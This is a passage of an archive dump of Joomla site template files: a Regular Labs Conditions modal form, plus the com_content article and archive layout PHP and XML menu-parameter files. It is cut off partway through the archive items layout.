RL_Document::script('regularlabs.admin-form');
RL_Document::script('regularlabs.admin-form-descriptions');
RL_Document::script('regularlabs.treeselect');
RL_Document::script('conditions.script');

$script = "document.addEventListener('DOMContentLoaded', function(){RegularLabs.Conditions.init()});";
RL_Document::scriptDeclaration($script, 'Conditions', true, 'after');

$update = '';

if ($extension && $item_id)
{
    $update = 'parent.RegularLabs.Conditions.updateSummaryByExtension("' . $extension . '", ' . $item_id . ', "' . $message . '", "' . $enabled_types . '");';
}

if ($id)
{
    $update = 'parent.RegularLabs.Conditions.updateSummaryByCondition(' . $id . ', "' . $extension . '", "' . $message . '", "' . $enabled_types . '");';
}

$script = '
    document.addEventListener("DOMContentLoaded", function(){
        window.parent.document.querySelectorAll(".modal-dialog .conditions-button").forEach((btn) => {
            Regular.removeClass(btn, "hidden");
        });
    });';

if ($update)
{
    $script .= '
    document.addEventListener("DOMContentLoaded", function(){
        const modal = window.parent.Joomla.Modal && window.parent.Joomla.Modal.getCurrent();

        if (modal) {
            modal.addEventListener("hidden.bs.modal", () => {
                ' . $update . '
            });
        }
    });';
}

RL_Document::scriptDeclaration($script, 'ConditionsModal', true, 'after', true);

RL_Language::load('com_content', JPATH_ADMINISTRATOR);

$params = [
    'id'            => (int) $this->item->id,
    'extension'     => $extension,
    'item_id'       => $item_id,
    'table'         => $table,
    'name_column'   => $name_column,
    'enabled_types' => $enabled_types,
    'message'       => $message,
    'tmpl'          => RL_Input::getString('tmpl'),
];

$append = http_build_query($params);

$url = 'index.php?option=com_conditions&' . $append;

?>

<?php if (count($this->item->usage) > 1) : ?>
    <div class="alert alert-warning">
        <?php echo JText::_('CON_WARNING_FOR_EDITING_MULTIPLE_USAGE'); ?>
    </div>
<?php endif; ?>

<form action="<?php echo JRoute::_($url); ?>"
      method="post" name="adminForm" id="conditionsForm"
      aria-label="<?php echo JText::_('COM_CONDITIONS_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>"
      class="form-validate rl-form">
    <?php echo JLayout::render('joomla.edit.title_alias', $this); ?>

    <div class="hide-on-update-summary position-relative">
        <div class="rl-spinner rl-spinner-lg"></div>
    </div>
    <div class="row show-on-update-summary hidden">
        <div id="conditionsFormFields" class="col-lg-8">
            <?php echo $this->form->renderFieldset('rules'); ?>
        </div>
        <div class="col-lg-4">
            <h3><?php echo JText::_('CON_SUMMARY'); ?></h3>
            <div id="rules_summary" class="position-relative">
                <div id="rules_summary_content" class="hidden"></div>
            </div>
        </div>
    </div>

    <input type="hidden" name="extension" value="<?php echo $extension; ?>">
    <input type="hidden" name="item_id" value="<?php echo $item_id; ?>">
    <input type="hidden" name="enabled_types" value="<?php echo $enabled_types; ?>">
    <input type="hidden" name="message" value="<?php echo $message; ?>">
    <input type="hidden" name="task" value="">
    <?php echo JHtml::_('form.token'); ?>
</form>
article/default_links.php000064400000007625151730072210011534 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Create shortcut
$urls = json_decode($this->item->urls);

// Create shortcuts to some parameters.
$params = $this->item->params;
if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) :
    ?>
<div class="com-content-article__links content-links">
    <ul class="com-content-article__links content-list">
        <?php
            $urlarray = [
            [$urls->urla, $urls->urlatext, $urls->targeta, 'a'],
            [$urls->urlb, $urls->urlbtext, $urls->targetb, 'b'],
            [$urls->urlc, $urls->urlctext, $urls->targetc, 'c']
            ];
            foreach ($urlarray as $url) :
                $link = $url[0];
                $label = $url[1];
                $target = $url[2];
                $id = $url[3];

                if (! $link) :
                    continue;
                endif;

                // If no label is present, take the link
                $label = $label ?: $link;

                // If no target is present, use the default
                $target = $target ?: $params->get('target' . $id);
                ?>
            <li class="com-content-article__link content-links-<?php echo $id; ?>">
                <?php
                    // Compute the correct link

                switch ($target) {
                    case 1:
                        // Open in a new window
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" target="_blank" rel="nofollow noopener noreferrer">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
                        break;

                    case 2:
                        // Open in a popup window
                        $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';
                        echo "<a href=\"" . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . "\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\" rel=\"noopener noreferrer\">" .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . '</a>';
                        break;
                    case 3:
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="noopener noreferrer" data-bs-toggle="modal" data-bs-target="#linkModal">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
                        echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'linkModal',
                            [
                                'url'    => $link,
                                'title'  => $label,
                                'height' => '100%',
                                'width'  => '100%',
                                'modalWidth'  => '500',
                                'bodyHeight'  => '500',
                                'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">'
                                    . \Joomla\CMS\Language\Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                            ]
                        );
                        break;

                    default:
                        // Open in parent window
                        echo '<a href="' . htmlspecialchars($link, ENT_COMPAT, 'UTF-8') . '" rel="nofollow">' .
                            htmlspecialchars($label, ENT_COMPAT, 'UTF-8') . ' </a>';
                        break;
                }
                ?>
                </li>
            <?php endforeach; ?>
    </ul>
</div>
<?php endif; ?>
article/default.php000064400000015621151730072210010327 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create shortcuts to some parameters.
$params  = $this->item->params;
$canEdit = $params->get('access-edit');
$user    = Factory::getUser();
$info    = $params->get('info_block_position', 0);
$htag    = $this->params->get('show_page_heading') ? 'h2' : 'h1';

// Check if associations are implemented. If they are, define the parameter.
$assocParam        = (Associations::isEnabled() && $params->get('show_associations'));
$currentDate       = Factory::getDate()->format('Y-m-d H:i:s');
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isExpired         = !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
?>
<div class="com-content-article item-page<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Article">
    <meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? Factory::getApplication()->get('language') : $this->item->language; ?>">
    <?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
    </div>
    <?php endif;
    if (!empty($this->item->pagination) && !$this->item->paginationposition && $this->item->paginationrelative) {
        echo $this->item->pagination;
    }
    ?>

    <?php $useDefList = $params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
    || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam; ?>

    <?php if ($params->get('show_title')) : ?>
    <div class="page-header">
        <<?php echo $htag; ?> itemprop="headline">
            <?php echo $this->escape($this->item->title); ?>
        </<?php echo $htag; ?>>
        <?php if ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
        <?php endif; ?>
        <?php if ($isNotPublishedYet) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
        <?php endif; ?>
        <?php if ($isExpired) : ?>
            <span class="badge bg-warning text-light"><?php echo Text::_('JEXPIRED'); ?></span>
        <?php endif; ?>
    </div>
    <?php endif; ?>
    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>

    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>

        <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php if ((int) $params->get('urls_position', 0) === 0) : ?>
        <?php echo $this->loadTemplate('links'); ?>
    <?php endif; ?>
    <?php if ($params->get('access-view')) : ?>
        <?php echo LayoutHelper::render('joomla.content.full_image', $this->item); ?>
        <?php
        if (!empty($this->item->pagination) && !$this->item->paginationposition && !$this->item->paginationrelative) :
            echo $this->item->pagination;
        endif;
        ?>
        <?php if (isset($this->item->toc)) :
            echo $this->item->toc;
        endif; ?>
    <div itemprop="articleBody" class="com-content-article__body">
        <?php echo $this->item->text; ?>
    </div>

        <?php if ($info == 1 || $info == 2) : ?>
            <?php if ($useDefList) : ?>
                <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
            <?php endif; ?>
            <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
                <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
                <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
            <?php endif; ?>
        <?php endif; ?>

        <?php
        if (!empty($this->item->pagination) && $this->item->paginationposition && !$this->item->paginationrelative) :
            echo $this->item->pagination;
            ?>
        <?php endif; ?>
        <?php if ((int) $params->get('urls_position', 0) === 1) : ?>
            <?php echo $this->loadTemplate('links'); ?>
        <?php endif; ?>
        <?php // Optional teaser intro text for guests ?>
    <?php elseif ($params->get('show_noauth') == true && $user->get('guest')) : ?>
        <?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>
        <?php echo HTMLHelper::_('content.prepare', $this->item->introtext); ?>
        <?php // Optional link to let them register to see the whole article. ?>
        <?php if ($params->get('show_readmore') && $this->item->fulltext != null) : ?>
            <?php $menu = Factory::getApplication()->getMenu(); ?>
            <?php $active = $menu->getActive(); ?>
            <?php $itemId = $active->id; ?>
            <?php $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false)); ?>
            <?php $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language))); ?>
            <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php
    if (!empty($this->item->pagination) && $this->item->paginationposition && $this->item->paginationrelative) :
        echo $this->item->pagination;
        ?>
    <?php endif; ?>
    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
article/default.xml000064400000015166151730072210010344 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_Article"
		/>
		<message>
			<![CDATA[COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Content\Administrator\Field" >

			<field
				name="id"
				type="modal_article"
				label="COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="1">JSHOW</option>
				<option	value="0">JHIDE</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="JGLOBAL_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="urls_position"
				type="list"
				label="COM_CONTENT_FIELD_URLSPOSITION_LABEL"
				useglobal="true"
				filter="integer"
				validate="options"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="-1">JHIDE</option>
			</field>
		</fieldset>
	</fields>
</metadata>
archive/default.php000064400000005033151730072210010321 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<div class="com-content-archive archive">
<?php if ($this->params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    </div>
<?php endif; ?>

<form id="adminForm" action="<?php echo Route::_('index.php'); ?>" method="post" class="com-content-archive__form">
    <fieldset class="com-content-archive__filters filters">
        <legend class="visually-hidden">
            <?php echo Text::_('COM_CONTENT_FORM_FILTER_LEGEND'); ?>
        </legend>
        <div class="filter-search form-inline">
            <?php if ($this->params->get('filter_field') !== 'hide') : ?>
            <div class="mb-2">
                <label class="filter-search-lbl visually-hidden" for="filter-search"><?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL') . '&#160;'; ?></label>
                <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->filter); ?>" class="inputbox col-md-2" onchange="document.getElementById('adminForm').submit();" placeholder="<?php echo Text::_('COM_CONTENT_TITLE_FILTER_LABEL'); ?>">
            </div>
            <?php endif; ?>

            <span class="me-2">
                <label class="visually-hidden" for="month"><?php echo Text::_('JMONTH'); ?></label>
                <?php echo $this->form->monthField; ?>
            </span>
            <span class="me-2">
                <label class="visually-hidden" for="year"><?php echo Text::_('JYEAR'); ?></label>
                <?php echo $this->form->yearField; ?>
            </span>
            <span class="me-2">
                <label class="visually-hidden" for="limit"><?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?></label>
                <?php echo $this->form->limitField; ?>
            </span>

            <button type="submit" class="btn btn-primary" style="vertical-align: top;"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
            <input type="hidden" name="view" value="archive">
            <input type="hidden" name="option" value="com_content">
            <input type="hidden" name="limitstart" value="0">
        </div>
    </fieldset>
</form>
<?php echo $this->loadTemplate('items'); ?>
</div>
archive/default.xml000064400000016576151730072210010350 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE" option="COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Article_Archived"
		/>
		<message>
			<![CDATA[COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="catid"
				type="category"
				label="JCATEGORY"
				extension="com_content"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				default=" "
				>
				<option value=" ">JOPTION_ALL_CATEGORIES</option>
			</field>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="JGLOBAL_ARCHIVE_OPTIONS"
		>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				default="alpha"
				validate="options"
				>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="order">JGLOBAL_ARTICLE_MANAGER_ORDER</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				default="created"
				validate="options"
				>
				<option value="created">JGLOBAL_Created</option>
				<option value="modified">JGLOBAL_Modified</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="introtext_limit"
				type="number"
				label="JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL"
				filter="integer"
				default="100"
			/>

		</fieldset>

		<!-- Articles options. -->
		<fieldset name="articles"
			label="COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL"
		>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

	</fields>
</metadata>
archive/default_items.php000064400000032510151730072210011522 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$params = $this->params;
?>
<div id="archive-items" class="com-content-archive__items">
    <?php foreach ($this->items as $i => $item) : ?>
        <?php $info = $item->params->get('info_block_position', 0); ?>
        <div class="row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Article">
            <div class="page-header">
                <h2 itemprop="headline">
                    <?php if ($params->get('link_titles')) : ?>
                        <a href="<?php echo Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
                            <?php echo $this->escape($item->title); ?>
                        </a>
                    <?php else : ?>
                        <?php echo $this->escape($item->title); ?>
                    <?php endif; ?>
                </h2>

                <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
                <?php echo $item->event->afterDisplayTitle; ?>

                <?php if ($params->get('show_author') && !empty($item->author)) : ?>
                    <div class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
                    <?php $author = $item->created_by_alias ?: $item->author; ?>
                    <?php $author = '<span itemprop="name">' . $author . '</span>'; ?>
                        <?php if (!empty($item->contact_link) && $params->get('link_author') == true) : ?>
                            <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $this->item->contact_link, $author, ['itemprop' => 'url'])); ?>
                        <?php else : ?>
                            <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
            || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category')); ?>
        <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
            <div class="com-content-archive__info article-info text-muted">
                <dl class="article-info">
                <dt class="article-info-term">
                    <?php echo Text::_('COM_CONTENT_ARTICLE_INFO'); ?>
                </dt>

                <?php if ($params->get('show_parent_category') && !empty($item->parent_id)) : ?>
                    <dd>
                        <div class="parent-category-name">
                            <?php $title = $this->escape($item->parent_title); ?>
                            <?php if ($params->get('link_parent_category') && !empty($item->parent_id)) : ?>
                                <?php $url = '<a href="' . Route::_(
                                    RouteHelper::getCategoryRoute($item->parent_id, $item->parent_language)
                                )
